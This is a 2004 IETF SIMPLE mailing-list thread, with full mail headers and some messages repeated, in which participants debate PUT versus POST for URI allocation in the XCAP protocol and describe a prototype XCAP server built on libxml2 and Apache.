X-Scanned: Thu, 11 Mar 2004 14:45:04 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2BCj4vE013222;
	Thu, 11 Mar 2004 14:45:04 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 008HKZlC; Thu, 11 Mar 2004 14:45:02 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BCix110297;
	Thu, 11 Mar 2004 14:44:59 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 11 Mar 2004 14:44:55 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id OAA02038;
	Thu, 11 Mar 2004 14:45:08 +0200 (EET)
Subject: Re: [Simple] PUT vs POST in XCAP
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
In-Reply-To: <404FF318.2000302@dynamicsoft.com>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>
	 <404711F8.9080807@softarmor.com>  <404D7E68.8090304@dynamicsoft.com>
	 <1078829916.13856.49.camel@xitami.research.nokia.com>
	 <404FF318.2000302@dynamicsoft.com>
Content-Type: text/plain
Message-Id: <1079009094.23502.639.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 11 Mar 2004 12:44:55.0682 (UTC) FILETIME=[A7D1CE20:01C40766]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 14:44:54 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Thu, 2004-03-11 at 07:03, ext Jonathan Rosenberg wrote:
> inline.
> 
> Jari Urpalainen wrote:
> 
> 
> > 
> >>A possible solution to this issue is to cleanly separate the URI 
> >>allocation from the manipulation. We could define a separate piece of 
> >>the protocol (POST based, perhaps), which has the server allocate the 
> >>URI to the client. Once allocated, the client would PUT the entire 
> >>document with that URI filled in. In this way, the data manipulation is 
> >>using PUT/DELETE and is separated from the server computation.
> >>
> >>This still requires two round trips to create a list. That seemed to 
> >>give people a LOT of heartburn, but I dont think its an optimization we 
> >>need to worry about that much. None of these operations are latency 
> >>sensitive; at least, not to the point where one round trip vs. two 
> >>really makes a difference. Furthermore, we are talkign only about the 
> >>creation of the list/conference, which is not likely to be that frequent 
> >>of an event. Thus, I dont see a bandwidth issue per se either.
> >>
> >>-Jonathan R.
> >>
> > 
> > This is probably the best way to go, at least it is better than the
> > current one.
> 
> Any other comments?
> 
One could also do this post? after the resource has been created so that
you'll reference to the resource and request for uri creation. The
response will include created uri's with corresponding xpath-references
(so the server will add them and will tell all the changes to client)

> >>>
> >>>I'm not an expert on Apache internals, although I have been building web 
> >>>sites with it for ten years or so. As I understand it, PUT requests are 
> >>>interpreted by the WebDAV module (or by the basic web posting module if 
> >>>you don't have the WebDAV module) and literally results in writing a 
> >>>file to the file system. Nothing gets "triggered" when this happens, no 
> >>>magic application gets invoked to go do things like assign a conference 
> >>>number and update the etag, or anything like that. The data just sits 
> >>>there in a file. To implement the current XCAP model, you'd have to 
> >>>write some magic filesystem-monitoring daemon that notices the file has 
> >>>changed, locks it, reads it, and writes it back with new etags. This 
> >>>makes for 1) a lot of polling the filesystem for changes, and 2) really 
> >>>wicked locking problems between writes-from-apache and 
> >>>writes-from-the-magic-daemon to the data. There's probably a more clever 
> >>>way to do it, but it's going to be moderately painful in any case.
> >>>
> > 
> > I have been writing an apache module to handle basic xcap-requests. In
> > practice, an apache module will get parsed requests (+payload) and the
> > module may respond however it wishes. It is not necessary that any
> > file-io will ever happen, however in xcap, it is of course desirable.
> > There are also other implementation difficulties that could be
> > elaborated here, but from the modules point of view, apache only
> > provides basic http transport and module has to take care of the all
> > "real" handling.
> 
> Can you comment on those implementation difficulties? If there are 
> aspects of the protocol that make it hard to implement, and some change 
> would help, I'd like to know that.
> 
> -Jonathan R.

Well, that's my goal...

I'll try to shortly sum up the current state of the implementation
status. First, the purpose is just to do a proof-of-concept reference
implementation. Secondly, implementation is done in linux with C with
the aid of libxml2-library aiming at a standalone server or an Apache
module. All the XML and XPATH handling is being done with libxml2. It
has also a schema checker which isn't adequate at the moment so Xerces
C++ library has been used instead.

In general with this background, I would say that the basic server
implementation with all XPATH interpretation is fairly easy to implement
and fairly performance-wise. What is not so easy and where not too much
attention (or at all?) has yet been, is this XCAP http-uri versus
sip-uri mapping in resource-lists concerned with list-subscriptions.
While XCAP server knows both endpoints it IMO should also keep track
that user won't define separate lists with the same sip-uri. Adding this
logic to the server was somewhat more complex. I have also some concerns
related to performance of schema validation which seems to easily drop
the throughput of requests. Secondly, all the au's will need some
interpretation of their own and I haven't yet started with presence
authorization.

The client side of implementation is/was probably even more challenging
as you have to interfere with http-client library and have to keep some
internal state information when doing updates to resources (and when
doing just partial updates which we are eagerly promoting).

Writing this reminded me of the thing that the base XCAP could have a
few words about If-None-Match -header with conditional GET so that a
client can get a simple sync with a single file. We'll also need the
directory-list still. Btw. I recently implemented this as a recursive
directory list so that you can get e.g. all the files at once for a user
simply by a query get http://xcap/resource-lists/users/joe and of course
going one path up you could get all files for all users (still wondering
whether separate au is needed...). The package will be needed still, I
think.

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 08:21:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00665
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 08:21:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q82-0006fy-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 08:21:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Q74-0006YD-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 08:20:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q6h-0006Qw-00; Thu, 11 Mar 2004 08:20:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Q6U-0002Ui-Vl; Thu, 11 Mar 2004 08:20:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Q68-0002Tp-Li
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 08:19:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00613
	for <simple@ietf.org>; Thu, 11 Mar 2004 08:19:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q67-0006QC-00
	for simple@ietf.org; Thu, 11 Mar 2004 08:19:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Q5D-0006IK-00
	for simple@ietf.org; Thu, 11 Mar 2004 08:18:44 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q4W-0006AS-00
	for simple@ietf.org; Thu, 11 Mar 2004 08:18:00 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BDHv425268;
	Thu, 11 Mar 2004 15:17:57 +0200 (EET)
X-Scanned: Thu, 11 Mar 2004 15:17:52 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2BDHqgP006701;
	Thu, 11 Mar 2004 15:17:52 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00QNewwo; Thu, 11 Mar 2004 15:17:48 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BDHl107169;
	Thu, 11 Mar 2004 15:17:47 +0200 (EET)
Received: from nokia.com ([10.162.253.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 11 Mar 2004 15:17:30 +0200
Message-ID: <405066DF.9050609@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com>
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 11 Mar 2004 13:17:30.0332 (UTC) FILETIME=[34E1B9C0:01C4076B]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 15:17:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext Jonathan Rosenberg wrote:
> A possible solution to this issue is to cleanly separate the URI 
> allocation from the manipulation. We could define a separate piece of 
> the protocol (POST based, perhaps), which has the server allocate the 
> URI to the client. Once allocated, the client would PUT the entire 
> document with that URI filled in. In this way, the data manipulation is 
> using PUT/DELETE and is separated from the server computation.

This sounds like a good approach to solving this issue.

> This still requires two round trips to create a list. That seemed to 
> give people a LOT of heartburn, but I dont think its an optimization we 
> need to worry about that much. None of these operations are latency 
> sensitive; at least, not to the point where one round trip vs. two 
> really makes a difference. Furthermore, we are talkign only about the 
> creation of the list/conference, which is not likely to be that frequent 
> of an event. Thus, I dont see a bandwidth issue per se either.

I agree.

Cheers,
Aki

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 08:22:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00697
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 08:22:09 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Q85-0002d7-0s
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 08:21:41 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2BDLeTP010103
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 08:21:40 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Q84-0002cs-9G
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 08:21:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00690
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 08:21:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q83-0006g3-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 08:21:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Q74-0006YK-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 08:20:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q6h-0006Qw-00; Thu, 11 Mar 2004 08:20:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Q6U-0002Ui-Vl; Thu, 11 Mar 2004 08:20:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1Q68-0002Tp-Li
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 08:19:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00613
	for <simple@ietf.org>; Thu, 11 Mar 2004 08:19:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q67-0006QC-00
	for simple@ietf.org; Thu, 11 Mar 2004 08:19:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1Q5D-0006IK-00
	for simple@ietf.org; Thu, 11 Mar 2004 08:18:44 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1Q4W-0006AS-00
	for simple@ietf.org; Thu, 11 Mar 2004 08:18:00 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BDHv425268;
	Thu, 11 Mar 2004 15:17:57 +0200 (EET)
X-Scanned: Thu, 11 Mar 2004 15:17:52 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2BDHqgP006701;
	Thu, 11 Mar 2004 15:17:52 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00QNewwo; Thu, 11 Mar 2004 15:17:48 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2BDHl107169;
	Thu, 11 Mar 2004 15:17:47 +0200 (EET)
Received: from nokia.com ([10.162.253.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 11 Mar 2004 15:17:30 +0200
Message-ID: <405066DF.9050609@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com>
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 11 Mar 2004 13:17:30.0332 (UTC) FILETIME=[34E1B9C0:01C4076B]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 15:17:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext Jonathan Rosenberg wrote:
> A possible solution to this issue is to cleanly separate the URI 
> allocation from the manipulation. We could define a separate piece of 
> the protocol (POST based, perhaps), which has the server allocate the 
> URI to the client. Once allocated, the client would PUT the entire 
> document with that URI filled in. In this way, the data manipulation is 
> using PUT/DELETE and is separated from the server computation.

This sounds like a good approach to solving this issue.

> This still requires two round trips to create a list. That seemed to 
> give people a LOT of heartburn, but I dont think its an optimization we 
> need to worry about that much. None of these operations are latency 
> sensitive; at least, not to the point where one round trip vs. two 
> really makes a difference. Furthermore, we are talkign only about the 
> creation of the list/conference, which is not likely to be that frequent 
> of an event. Thus, I dont see a bandwidth issue per se either.

I agree.

Cheers,
Aki

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 22:52:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15349
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 22:52:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1diO-0005U6-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 22:52:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1dhR-0005Ml-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 22:51:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1dgY-0005FY-00; Thu, 11 Mar 2004 22:50:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1dgR-0005St-0u; Thu, 11 Mar 2004 22:50:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1dfc-0005Rn-AL
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 22:49:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15236
	for <simple@ietf.org>; Thu, 11 Mar 2004 22:49:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1dfU-00056J-00
	for simple@ietf.org; Thu, 11 Mar 2004 22:49:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1deX-0004xk-00
	for simple@ietf.org; Thu, 11 Mar 2004 22:48:06 -0500
Received: from tk0008-202x210x243x26.ap-tk.usen.ad.jp
	([202.210.243.26] helo=athena.ginganet.org ident=postfix)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1ddc-0004ov-00
	for simple@ietf.org; Thu, 11 Mar 2004 22:47:09 -0500
Received: by athena.ginganet.org (Postfix, from userid 5003)
	id 458E9D144; Fri, 12 Mar 2004 12:47:04 +0900 (JST)
From: Kawaguti Ginga <g.kawaguti@ntt.com>
To: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
Message-ID: <20040312034704.GA93370@ginganet.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06020406bc73cd36481d@[129.46.227.161]>
User-Agent: Mutt/1.5.4i-ja.1
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 12:47:04 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60

In Tue, Mar 09, 2004 at 11:57:04AM -0800,
Ted Hardie <hardie@qualcomm.com> wrote:
> Creating mechanisms that are essentially new methods but implementing
> them through POST is a bad long-term idea.  POST is designed to be
> specific to a particular context (a form being filled in, essentially)
> and trying to ensure that it has long term context turns out to be very
> hard.  One of the HTTP wg members (sorry, forgotten who) used
> to call it the "magic happens" method, in honor of an old cartoon
> which showed carefully drawn flow charts for a set of actions, with
> one box labelled "magic happens" that covered all the icky bits.
> As tempting as it is, it turns out to be very hard to ensure that the
> same magic happens every time, everywhere.

The current XCAP design for policy handling itself implies quite much
of "magic happening" behind this protocol, which are not explicitly
specified.

XCAP itself seems to be a "file editing" protocol.
However, XCAP's PUT action in policy-controlling context
is not just "putting a file (fragment)".
It implicitly...

(1) edits a policy document file,
    (not nessesarily a FILE, but it requires EDITing anyway)
(2) checks if it is a valid document,
    (well-formed? valid? acceptable for site-policy? etc.
     Some of these decisions can be made outside the XCAP server,
     as indicated in Jonathan's XCAP tutorial.)
(3) informs the presence server of the policy-updates.
    (kill -HUP or whatever.)

To make policy handling work robust and fail-safe,
the above points cannot be ignored.
As an interface/protocol definition, these actions should be taken
into consideration, although some poor-implementation may 
not act exactly as above.

IMHO, XCAP's PUT has lot more to do than an ordinally HTTP's PUT.

Regards,
Ginga Kawaguti

-- 
Office:  NTT Communications Innovative IP Architecture Center 1PT 1P
Address: KAWAGUTI Ginga <g.kawaguti@ntt.com>
Phone:   voice=+81-3-6800-3032; fax=+81-3-5388-0550

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 22:52:35 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15395
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 22:52:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1diS-0005bU-Mj
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 22:52:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2C3q8k8021536
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 22:52:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1diS-0005bH-IE
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 22:52:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15368
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 22:52:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1diP-0005UC-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 22:52:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1dhR-0005Ms-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 22:51:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1dgY-0005FY-00; Thu, 11 Mar 2004 22:50:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1dgR-0005St-0u; Thu, 11 Mar 2004 22:50:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1dfc-0005Rn-AL
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 22:49:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15236
	for <simple@ietf.org>; Thu, 11 Mar 2004 22:49:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1dfU-00056J-00
	for simple@ietf.org; Thu, 11 Mar 2004 22:49:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1deX-0004xk-00
	for simple@ietf.org; Thu, 11 Mar 2004 22:48:06 -0500
Received: from tk0008-202x210x243x26.ap-tk.usen.ad.jp
	([202.210.243.26] helo=athena.ginganet.org ident=postfix)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1ddc-0004ov-00
	for simple@ietf.org; Thu, 11 Mar 2004 22:47:09 -0500
Received: by athena.ginganet.org (Postfix, from userid 5003)
	id 458E9D144; Fri, 12 Mar 2004 12:47:04 +0900 (JST)
From: Kawaguti Ginga <g.kawaguti@ntt.com>
To: simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
Message-ID: <20040312034704.GA93370@ginganet.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06020406bc73cd36481d@[129.46.227.161]>
User-Agent: Mutt/1.5.4i-ja.1
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 12:47:04 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60

In Tue, Mar 09, 2004 at 11:57:04AM -0800,
Ted Hardie <hardie@qualcomm.com> wrote:
> Creating mechanisms that are essentially new methods but implementing
> them through POST is a bad long-term idea.  POST is designed to be
> specific to a particular context (a form being filled in, essentially)
> and trying to ensure that it has long term context turns out to be very
> hard.  One of the HTTP wg members (sorry, forgotten who) used
> to call it the "magic happens" method, in honor of an old cartoon
> which showed carefully drawn flow charts for a set of actions, with
> one box labelled "magic happens" that covered all the icky bits.
> As tempting as it is, it turns out to be very hard to ensure that the
> same magic happens every time, everywhere.

The current XCAP design for policy handling itself implies quite much
of "magic happening" behind this protocol, which are not explicitly
specified.

XCAP itself seems to be a "file editing" protocol.
However, XCAP's PUT action in policy-controlling context
is not just "putting a file (fragment)".
It implicitly...

(1) edits a policy document file,
    (not nessesarily a FILE, but it requires EDITing anyway)
(2) checks if it is a valid document,
    (well-formed? valid? acceptable for site-policy? etc.
     Some of these decisions can be made outside the XCAP server,
     as indicated in Jonathan's XCAP tutorial.)
(3) informs the presence server of the policy-updates.
    (kill -HUP or whatever.)

To make policy handling work robust and fail-safe,
the above points cannot be ignored.
As an interface/protocol definition, these actions should be taken
into consideration, although some poor-implementation may 
